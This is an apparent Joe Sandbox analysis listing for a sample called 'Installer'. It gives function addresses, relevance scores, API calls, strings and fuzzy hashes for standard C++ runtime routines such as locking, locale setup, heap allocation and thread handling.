Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 5aba878caad82e3e92ef3dcc4e135e6b9babfc44f3b0f01c735265b554f8f78d
Instruction ID: 9ca96c35f5db8de7898aaacfd38ee1185af3acd93c890fd304eff3a5ecef789c
Opcode Fuzzy Hash: 5aba878caad82e3e92ef3dcc4e135e6b9babfc44f3b0f01c735265b554f8f78d
Instruction Fuzzy Hash: 7F01DB31600A55AFDB239F44DC15FEEB7BCFB04715F014525F815A22A0DB789944CA50

Function 0035D6EA Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0035D76F
__alloca_probe_16.LIBCMT ref: 0035D838
__freea.LIBCMT ref: 0035D89F

Part of subcall function 0035BF11: HeapAlloc.KERNEL32(00000000,00000018,00000000,?,0034A67D,00000018,?,00343D4A,00000018,00000000), ref: 0035BF43

__freea.LIBCMT ref: 0035D8B2
__freea.LIBCMT ref: 0035D8BF

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: fe88f6f49d7b87d8e0eb081137f86ade1fdbe924ddf5b8ab0a4c5481d6a2af39
Instruction ID: 6172299867e538aa085fe899b18cad92fa6594332950ad1209703f353bdb9ac8
Opcode Fuzzy Hash: fe88f6f49d7b87d8e0eb081137f86ade1fdbe924ddf5b8ab0a4c5481d6a2af39
Instruction Fuzzy Hash: 7C519372600206AFFB335F60CC81EBB77A9EF44712B160129FD14DA261E770DC5896A0

Function 0034EFF1 Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32(?,0034EFCE,00348E30,00000000,?,00348E30,0034A2F0), ref: 0034F005
AcquireSRWLockExclusive.KERNEL32(00348E38), ref: 0034F024
AcquireSRWLockExclusive.KERNEL32(00348E38,0034A2F0,?), ref: 0034F052
TryAcquireSRWLockExclusive.KERNEL32(00348E38,0034A2F0,?), ref: 0034F0AD
TryAcquireSRWLockExclusive.KERNEL32(00348E38,0034A2F0,?), ref: 0034F0C4

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: 831f3a2080b2a02b1e01196c3c6c1edcd90f9abb229f025c1332274603eea853
Instruction ID: 4ccf6e84d7d5674cd549dabc7dee5913a853d86bef68e60d37643291a249fac1
Opcode Fuzzy Hash: 831f3a2080b2a02b1e01196c3c6c1edcd90f9abb229f025c1332274603eea853
Instruction Fuzzy Hash: 23416971900A0ADFCB22CF65C48196AB3F8FF88315B19493AE45ACB942D730F985CF51

Function 0034D4C2 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0034D4C9
std::_Lockit::_Lockit.LIBCPMT ref: 0034D4D3
int.LIBCPMT ref: 0034D4EA

Part of subcall function 0034C1E5: std::_Lockit::_Lockit.LIBCPMT ref: 0034C1F6
Part of subcall function 0034C1E5: std::_Lockit::~_Lockit.LIBCPMT ref: 0034C210

codecvt.LIBCPMT ref: 0034D50D
std::_Lockit::~_Lockit.LIBCPMT ref: 0034D544

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3codecvt
String ID:
API String ID: 3716348337-0
Opcode ID: 9a0af24da35fea3c6a4595b36f50a662205d8f92fd4dfb0b2c22ba3b0b3f5c3b
Instruction ID: 83c6d5f233212dcb37e81cfdeece87b04f36d935983d024123c413e184ec365f
Opcode Fuzzy Hash: 9a0af24da35fea3c6a4595b36f50a662205d8f92fd4dfb0b2c22ba3b0b3f5c3b
Instruction Fuzzy Hash: A601C0359101159FCB03EBA4C851ABEB7F5AF85324F154449F415AF382CF74AE40CB82

Function 0034ADD7 Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0034ADDE
std::_Lockit::_Lockit.LIBCPMT ref: 0034ADE9
std::_Lockit::~_Lockit.LIBCPMT ref: 0034AE57

Part of subcall function 0034ACAA: std::locale::_Locimp::_Locimp.LIBCPMT ref: 0034ACC2

std::locale::_Setgloballocale.LIBCPMT ref: 0034AE04
_Yarn.LIBCPMT ref: 0034AE1A

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: 517605560d83d3d98971a67c9be9f49fd70871c3ce7b8fff54db95b9c48f5c61
Instruction ID: b29d7a1bac269038ff5477155cc6e9caea13dcbfec2a1d49aa8f0a3df82f037d
Opcode Fuzzy Hash: 517605560d83d3d98971a67c9be9f49fd70871c3ce7b8fff54db95b9c48f5c61
Instruction Fuzzy Hash: E401B175A40A609FCB07EB20D89157D77A5FF84750B054009E9155F381CF347E82CF82

Function 00341750 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 390COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00341783

Strings

ios_base::badbit set, xrefs: 00341BFA, 00341C20
ios_base::failbit set, xrefs: 00341BEF
ios_base::eofbit set, xrefs: 00341BEA

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: _strlen
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 4218353326-1866435925
Opcode ID: d4a94234ed542104b119ea23f373db50e851b77d5e07e24ec0e111e51fadfaba
Instruction ID: b625be1e48f712ee84b018ff9c3f3d4fb87f9ac7a8671f9ac160f1f809bd0e52
Opcode Fuzzy Hash: d4a94234ed542104b119ea23f373db50e851b77d5e07e24ec0e111e51fadfaba
Instruction Fuzzy Hash: 35F15D75A006148FCB15CF68C494BADBBF1FF89324F198269E819AF3A1D734AD45CB90

Function 00360976 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 191COMMON

Download Yara Rule

APIs

Part of subcall function 0035C16A: GetLastError.KERNEL32(00000000,?,0035E58D), ref: 0035C16E
Part of subcall function 0035C16A: SetLastError.KERNEL32(00000000,?,?,00000028,00358363), ref: 0035C210

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,00355BD5,?,?,?,00000055,?,-00000050,?,?,?), ref: 00360A35
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,00355BD5,?,?,?,00000055,?,-00000050,?,?), ref: 00360A6C

Strings

utf8, xrefs: 00360B3E
,K7, xrefs: 003609E9

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: ,K7$utf8
API String ID: 943130320-3027620799
Opcode ID: 364663e3bf439ebd8ed9532e078ba704acacb530d119c86ec52f32c44565b43b
Instruction ID: c0cd88bb7ff1007600d4696f1561263a77868e585bb3e41d1320a999012385cc
Opcode Fuzzy Hash: 364663e3bf439ebd8ed9532e078ba704acacb530d119c86ec52f32c44565b43b
Instruction Fuzzy Hash: 2651E531600705AADB2FAB71CC43FAB73A8EF05744F15C429F9499B189E6B0D9808765

Function 003473E0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

Concurrency::details::_Release_chore.LIBCPMT ref: 00347526
___std_exception_copy.LIBVCRUNTIME ref: 00347561

Part of subcall function 0034AF37: CreateThreadpoolWork.KERNEL32(0034B060,00348A2A,00000000,00000000,?,00348A2A,?,?,?,?), ref: 0034AF46
Part of subcall function 0034AF37: Concurrency::details::_Reschedule_chore.LIBCPMT ref: 0034AF53

Strings

G.7, xrefs: 00347551
Fail to schedule the chore!, xrefs: 00347560

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: Concurrency::details::_$CreateRelease_choreReschedule_choreThreadpoolWork___std_exception_copy
String ID: Fail to schedule the chore!$G.7
API String ID: 3683891980-1612208290
Opcode ID: ef3d93b19ab1d66eb08a283490649681ac8aa1e03dd7f23f37ae23b901a2e7a2
Instruction ID: 056a8f148b1f63c92e0514928a930f5c99aa6edca77681cee2ed8d76ffa40bc0
Opcode Fuzzy Hash: ef3d93b19ab1d66eb08a283490649681ac8aa1e03dd7f23f37ae23b901a2e7a2
Instruction Fuzzy Hash: CC519CB4D006089FCB16DF94D845BAEBBB4FF08314F144129E8196F391D779A905CF91

Function 00343E90 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 109COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00343EC6
std::_Lockit::~_Lockit.LIBCPMT ref: 00344002

Part of subcall function 0034ABC5: _Yarn.LIBCPMT ref: 0034ABE5
Part of subcall function 0034ABC5: _Yarn.LIBCPMT ref: 0034AC09

Strings

|=4e.7, xrefs: 00343E9B, 00343F1F
bad locale name, xrefs: 00343F46

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: LockitYarnstd::_$Lockit::_Lockit::~_
String ID: bad locale name$|=4e.7
API String ID: 2070049627-3792104845
Opcode ID: 54189e90262ab288d726db517285de6ced36919f9c32965e93c7bd52b2d7ce98
Instruction ID: 2ba9a789b8662a8e77c03fe82fbecd0ec8d3ba9ce8eae77c3f224b508da4fe3d
Opcode Fuzzy Hash: 54189e90262ab288d726db517285de6ced36919f9c32965e93c7bd52b2d7ce98
Instruction Fuzzy Hash: CD417BF0A007459BEB21DF69C805B17BAF8BF04714F044629E8099B780E37AF518CBE2

Function 0034B755 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 73COMMON

Download Yara Rule

APIs

std::_Ref_count_base::_Decref.LIBCPMT ref: 0034B809

Strings

csm, xrefs: 0034B7A1
RCC, xrefs: 0034B795
MOC, xrefs: 0034B789

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: DecrefRef_count_base::_std::_
String ID: MOC$RCC$csm
API String ID: 1456557076-2671469338
Opcode ID: 3eb40265c8aaa33d8b3e23a23219dee5667495491bdde574b243586a1f46b578
Instruction ID: 374655116d5518c8cb36017f723b649600ff578787a6511e6eab3d70465aaae2
Opcode Fuzzy Hash: 3eb40265c8aaa33d8b3e23a23219dee5667495491bdde574b243586a1f46b578
Instruction Fuzzy Hash: A721C235900645DFCF2A9FA4C855B6AF7ECEF44720F15491EE4528FA90DB34FA40CA81

Function 0034F11D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33threadCOMMON

Download Yara Rule

APIs

WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,?,?,?,0034253A,?,?,00000000), ref: 0034F129
GetExitCodeThread.KERNEL32(?,00000000,?,?,0034253A,?,?,00000000), ref: 0034F142
CloseHandle.KERNEL32(?,?,?,0034253A,?,?,00000000), ref: 0034F154

Strings

:%4, xrefs: 0034F134

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: CloseCodeExitHandleObjectSingleThreadWait
String ID: :%4
API String ID: 2551024706-536517894
Opcode ID: d8fc0012224287f642e12f76df90227dd7af092b7e17a4e2324ffb6a1e26ceb9
Instruction ID: 70fb550f3eebbadec9955b57b44badbee9eb634750623cca7413cc4fc69d874e
Opcode Fuzzy Hash: d8fc0012224287f642e12f76df90227dd7af092b7e17a4e2324ffb6a1e26ceb9
Instruction Fuzzy Hash: 2DF01971654515EFEF224F74DC06A593BA8EB01774F294320F925DA1F0D731EE41D640

Function 0034ABC5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32COMMON

Download Yara Rule

APIs

_Yarn.LIBCPMT ref: 0034ABE5
_Yarn.LIBCPMT ref: 0034AC09

Strings

|=4e.7, xrefs: 0034ABC8
e.7, xrefs: 0034ABD9

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: Yarn
String ID: e.7$|=4e.7
API String ID: 1767336200-2368979467
Opcode ID: 7b452cb5f8d520daf717b14655729da7eabdee84d1d684a734047d1303c7cc24
Instruction ID: 44f2447bf6be94e9143ad255e89d24792c4c1e7df186b6457336445f75e3abbc
Opcode Fuzzy Hash: 7b452cb5f8d520daf717b14655729da7eabdee84d1d684a734047d1303c7cc24
Instruction Fuzzy Hash: 9EE03922348600ABEB5AAA65AC92FA633D8CB04B61F10402EF95ECE5D1ED10BC044655

Function 00366940 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,003669DC,00000000,?,0037D2B0,?,?,?,00366913,00000004,InitializeCriticalSectionEx,00370D34,00370D3C), ref: 0036694D
GetLastError.KERNEL32(?,003669DC,00000000,?,0037D2B0,?,?,?,00366913,00000004,InitializeCriticalSectionEx,00370D34,00370D3C,00000000,?,0035BBBC), ref: 00366957
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 0036697F

Strings

api-ms-, xrefs: 00366964

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: ab3efbee9ad8ceb15b24486c7ce8ec84107bda8e8e0899f93cdccbf66036687f
Instruction ID: 2524c733d31c54e83a808d7849c54db12ab7032f6ec446441b202b169a8b1850
Opcode Fuzzy Hash: ab3efbee9ad8ceb15b24486c7ce8ec84107bda8e8e0899f93cdccbf66036687f
Instruction Fuzzy Hash: 70E0E570394604BBEA321AA0EC07B697A99AB40B91F148824FE4DA84A5DB71A8909944

Function 00363F9E Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(BB40E64E,00000000,00000000,?), ref: 00364001

Part of subcall function 0035C021: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0035D895,?,00000000,-00000008), ref: 0035C082

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00364253
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00364299
GetLastError.KERNEL32 ref: 0036433C

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 3fa22f765355732dbc876b83f4dfb168d492ebe96ae22b6654dba01a81c8bd8a
Instruction ID: 30de5b26e917c8ba0e45ee205cf9d6c1bf888312123a05027bdebc4488c3a53b
Opcode Fuzzy Hash: 3fa22f765355732dbc876b83f4dfb168d492ebe96ae22b6654dba01a81c8bd8a
Instruction Fuzzy Hash: 95D17975D002589FCF16CFE8D8809EDBBB9FF09314F28852AE956EB355D630A941CB60

Function 0035B295 Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0035B35C
___AdjustPointer.LIBCMT ref: 0035B37F
___AdjustPointer.LIBCMT ref: 0035B41B

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 10ae7351e237bb6ec54e322e5a05a7e79e01e32540909620287f8b0dd4a2ff07
Instruction ID: d248e9e7be1272d6a9ddbd816c5a671e496046bae4783e8e034321f0c9429c82
Opcode Fuzzy Hash: 10ae7351e237bb6ec54e322e5a05a7e79e01e32540909620287f8b0dd4a2ff07
Instruction Fuzzy Hash: 1851E3796006059FDB2B9F50C882FAAF7A4EF04712F15452DEC466A2B1D731ED88CB90

Function 00347220 Relevance: 6.1, APIs: 4, Instructions: 129threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 003472C5
std::_Throw_Cpp_error.LIBCPMT ref: 00347395
std::_Throw_Cpp_error.LIBCPMT ref: 003473A3
std::_Throw_Cpp_error.LIBCPMT ref: 003473B1

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CurrentThread
String ID:
API String ID: 2261580123-0
Opcode ID: 0a0724cb2bcc2cb005b20a0bc0532c92612577da9d573906679323a01a4e99cf
Instruction ID: 17b88929fa81679bba1cb67cd21e432eff9166c0050404f0a018cc46265c00cf
Opcode Fuzzy Hash: 0a0724cb2bcc2cb005b20a0bc0532c92612577da9d573906679323a01a4e99cf
Instruction Fuzzy Hash: 4941D2B59047058BDB22EF64C941BAAB7E8FF44320F158639E8165F691EB34F814CBE1

Function 00344460 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00344495
std::_Lockit::_Lockit.LIBCPMT ref: 003444B2
std::_Lockit::~_Lockit.LIBCPMT ref: 003444D3
std::_Lockit::~_Lockit.LIBCPMT ref: 00344580

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: 6367108485c3dc81bd2310fd47694b719e174e87bc9f12660203b87da18a968c
Instruction ID: 368d973501749918024692db23e5f4060138b3bb412c735fd32ff84e6c6b3001
Opcode Fuzzy Hash: 6367108485c3dc81bd2310fd47694b719e174e87bc9f12660203b87da18a968c
